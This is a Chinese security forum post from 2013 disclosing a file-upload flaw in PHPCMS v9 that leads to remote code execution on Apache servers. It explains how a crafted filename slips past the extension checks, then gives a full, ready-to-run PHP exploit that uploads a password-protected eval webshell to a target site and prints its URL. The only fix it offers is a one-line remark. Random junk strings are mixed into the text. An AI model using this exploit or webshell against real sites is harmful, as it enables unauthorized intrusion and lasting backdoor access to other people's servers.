找回密码
 立即注册
查看: 2753|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行; r0 X0 s& h! X- N: N) J7 l- @8 d
: |3 u5 \. k% q* _% \! T1 M
简要描述:
2 r  ?9 i$ k+ k# m2 \' a2 g) ~
phpcms v9 getshell (apache)
0 A# }* A% H% B  A% q详细说明:
  U& X) V/ h1 [* z) y& D) r
* K4 T) O4 x6 \  H3 k漏洞文件:phpcms\modules\attachment\attachments.php; F9 l+ G" s8 e0 F# W0 Q8 e
1 T6 {6 J/ c/ C1 g+ r- w, l. E
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
9 E3 a! \( g$ W* H6 G. U" c" f后缀检测:phpcms\modules\attachment\functions\global.func.php
+ U$ h8 L4 f9 {7 _& h/ X
* U+ R. W& j% O0 ?; P. ? # V, B% |8 m9 \. u! Q
. N5 L3 h: K4 c$ M/ E. l
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }    `- O# Y# f& |( l$ k

$ u1 j( E1 O7 a& O* K关键函数:
: t$ z# l% e  A, U
. i. e/ w  F+ N3 P* h+ e 7 b* }/ u5 ~9 _! O0 L' M* ]

" I( ~* C. v% V" k2 tfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  , z# g0 f% x5 ~
' K' [: O! d5 H  T
  Fileext函数是对文件后缀名的提取。
  p. Y9 I7 ]2 I" _) f根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
6 a4 `7 x9 u! ^+ U  X& b经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
5 b9 {3 i# Q/ q7 s我们回到public function crop_upload() 函数中0 ^/ Z3 f4 e) I: Y) R: j1 a! R) N
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
0 F0 h0 N" A0 n2 y4 `在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
3 ?( E# ]& |' g8 k* D这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
" c8 }, a7 W- f# u经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. ^; H! M6 W  s# N) l最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。+ s3 L# o6 |, s$ |" T$ }: V6 G
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 \0 ^/ m$ Q* s* V. i  A/ a3 }漏洞证明:
( {7 f7 ], n% X; ?1 x: [
: G' p  G& V/ Nexp:
. s! _- G6 S5 s$ l$ ~# X8 A. C" l( T7 L
<?php8 x1 e5 J+ e( c. I
error_reporting(E_ERROR);
" y) ?" g# v9 r3 Xset_time_limit(0);
3 F5 ^' [, _9 |5 F$pass="ln";; V. {2 t' G7 D! n( a9 W/ A
print_r(') Q# {( c7 W3 s5 g: Y9 e8 w3 @
+---------------------------------------------------------------------------+
! m4 ~1 f; ^. q; U) e8 U( H1 F$ YPHPCms V9 GETSHELL 0DAY
7 w- U7 W6 \0 X+ s% ccode by L.N.
5 L9 N4 T7 i4 }( K* b% ?
( y) ^. V  q. u/ d0 \apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net' x8 C' d1 B1 T+ p& G/ E) A. ?( R
+---------------------------------------------------------------------------+; g1 R% l! O/ _& o' V' Z) S
');) Z3 }: y3 M1 C/ h$ d
if ($argc < 2) {
+ {0 B$ S/ E: Mprint_r('3 _% {0 H5 D# C, E& D$ Q
+---------------------------------------------------------------------------+3 F1 o1 X# x& R0 h( Q
Usage: php '.$argv[0].' url path5 a( I3 A1 X3 V- E6 p

- h8 W1 z' R' c; oExample:8 q4 }: n' l4 [3 A3 k- f
1.php '.$argv[0].' lanu.sinaapp.com1 w3 u9 e  N# |; I4 h* t; d  ?1 C) O
2.php '.$argv[0].' lanu.sinaapp.com /phpcms( O8 r* j/ Q( t6 c9 s9 \5 F( a
+---------------------------------------------------------------------------+
: e3 @: I3 w% N5 D');
7 Z$ G- w  X  v; e% ]! W/ yexit;
9 r# u1 Z; m0 N8 B' S}" L; K4 }* a4 p( ]5 L5 X# @
' |. o, m6 v! e2 N
$url = $argv[1];3 [5 D' E7 i" y) l' H7 q# @
$path = $argv[2];
# b9 P6 l1 N  K, y; H% F" O$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
2 T, v/ S$ O7 H- u, X$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';( x- n6 r) N* Z! v  d
if($ret=Create_dir($url,$path))  \" R: z' _  r! q+ c* g
{
/ O0 S$ Y, E+ H: p, e//echo $ret;: n( H8 L8 M* x- F' |( O
$pattern = "|Server:[^,]+?|U";
4 P" ~  q$ ^- i% \. a! V8 ]preg_match_all($pattern, $ret, $matches);
- P0 f! |4 a) F6 M& A& d  C3 Nif($matches[0][0])3 _0 J; `+ O2 J' U
{$ m' V; w9 U2 C( Y8 B
if(strpos($matches[0][0],'Apache') == false); _# W) w, f: x' g5 I$ E/ A
{1 {6 C, P! x& B
echo "\n亲!此网站不是apache的网站。\n";exit;2 b6 t9 I  |% C9 a
}
/ k- I* r) h' ?0 ]}1 g: u1 {# E6 m+ f
$ret = GetShell($url,$phpshell,$path,$file);
/ K8 ^" e1 K' B( s# `' N$pattern = "|http:\/\/[^,]+?\.,?|U";5 j+ O0 r& L" f" }) A7 f
preg_match_all($pattern, $ret, $matches);5 C5 T9 M5 c% \1 s/ V
if($matches[0][0])3 S9 e4 \1 W. ?% t2 F
{
! J6 g( P& _# V- a% x5 Uecho "\n".'密码为: '.$pass."\n";/ x/ a/ O$ |8 ?) N5 b
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;0 N0 H+ ]  s2 e& u7 _/ q9 t% U) W
}
  E6 N1 [8 q0 h8 O4 Q' s0 Relse
3 T  f8 u2 _3 m  i  n6 v1 b{
" i) O1 C( C6 R! |$pattern = "|\/uploadfile\/[^,]+?\.,?|U";1 i# H( J" B3 G6 A( h* G+ Y
preg_match_all($pattern, $ret, $matches);2 ?$ c& e  k9 n8 b* M! p& Y& X
if($matches[0][0])" }, b3 r# K9 x/ V: U
{
5 v: x, S% e6 p7 K( K+ Eecho "\n".'密码为: '.$pass."\n";
! w6 K1 B, C. w: Hecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
1 O) b8 Z5 d/ _7 |; O: d8 Z}
& ]& P3 b- \8 Z0 [8 `6 x$ Melse5 u/ R/ }( A9 F2 L" q
{
) `& K8 q" s: f$ @' c$ m' o5 I, Techo "\r\n没得到!\n";exit;7 I- g" @- M- y6 M. e9 O: x
}
8 _1 k. t& b! @; H( H$ o, h}2 u( P$ Z; \! {! n: V+ d1 A
}
* o' C1 }  i3 u7 b" h! y" ^, y# _) ^6 L: s
function GetShell($url,$shell,$path,$js)5 W6 d% Q  c: F1 W. l" X/ Z# }
{
- e2 _; q5 |& U8 W' G4 ~7 S$content =$shell;0 D4 J( g/ c9 Y( k, D4 C. m, T  Q* u3 y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";  H" t: p0 s' v, K* X& q+ ]
$data .= "Host: ".$url."\r\n";5 P) Z. i1 z) P6 S' D4 q2 @7 d
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";+ |) U2 O1 o9 Z
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
# y  I5 N3 T& ?( z6 U! q8 C6 f# W$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 t& s* b+ k$ y' Q8 b. J
$data .= "Connection: close\r\n";
9 h' V+ H/ t4 Q7 \2 E# d9 P0 g$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" W- I4 o; i2 i! C4 ~
$data .= $content."\r\n";) }/ X3 v8 B4 U/ V
$ock=fsockopen($url,80);
& h: M* L1 E; W  ?if (!$ock)
  `. T$ G! `1 ?& @- D) U{. A- Y$ T, h. j1 H1 f/ v
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;1 k; _8 v; C% a
}/ ^+ z7 L/ ~! z3 v
else3 j- H* K1 r' F" r  }$ \& r& S
{: f: L- N1 d$ y2 |; e  Q5 ~6 J: o
fwrite($ock,$data);
3 g+ r* \7 a( R- ~/ J* _  k9 k$resp = '';; l: v! Y2 k, R' C0 D- E- B! b+ e
while (!feof($ock))" i" h* x, M7 Z5 q1 v! ]* h1 t
{
2 n4 O% W# F' c# ?( }0 D$resp.=fread($ock, 1024);
0 G! j6 L; @; A2 l" D}: z7 C7 {* }# _! z' p. U
return $resp;
- `6 z' i3 p7 Z8 T  Q4 w}/ @* r& i/ c, {/ O
}9 I7 i8 x$ t9 t% Y; {' ]

3 K% A- r" O$ ^: S$ x+ I5 ^function Create_dir($url,$path='')
2 }8 N4 v# e. Q- H, f5 {1 J{
. e3 V% x' x5 S$ b# K( l$content ='I love you';0 f* u2 \" m$ t0 p( Y8 }; [
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- r  ]. S; b& S$data .= "Host: ".$url."\r\n";% W& T# E' X: K" b+ {
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 w5 E, n6 z2 S$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
* d, q* d9 T, [+ f" `$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 [9 f6 w+ s! n( j/ ~: u' ]( E$data .= "Connection: close\r\n";9 P5 _1 B. Z1 {" b
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 t0 T5 V7 `6 A" i
$data .= $content."\r\n";
/ Q: U! h% p( j$ock=fsockopen($url,80);
3 g. z1 X8 E2 t7 n4 pif (!$ock)
0 g( m1 c0 B. i2 {+ K{! z* V7 ~  t6 V; M* e; {
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
7 w( C( ]! N7 n/ l1 G( ~0 m1 X}* c( K! @$ P# q5 U8 D/ F" }. u
fwrite($ock,$data);  ~. v  ]# ^. a# A8 c- t% u7 X
$resp = '';2 p6 N4 c0 M* z$ y, v
while (!feof($ock))
' U) m* D( G2 [5 X{# r8 Y) T2 G+ t
$resp.=fread($ock, 1024);6 i9 l/ O3 x# T/ _6 u. U9 k
}
4 C" j3 H% t$ x# e* X  `return $resp;
2 ~9 U7 w" C% G; h}
+ c" D) ]4 s. W, z2 O" b?>
' G2 n3 D4 r' B 3 a& a( s7 W. f: y
修复方案:
9 i' A) f5 U! h" z: P8 Z: d& g) p3 @6 _+ O
过滤过滤再过滤% r  `/ s# k3 W3 S

& i! @! \  B9 L# a$ D, P7 \. ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表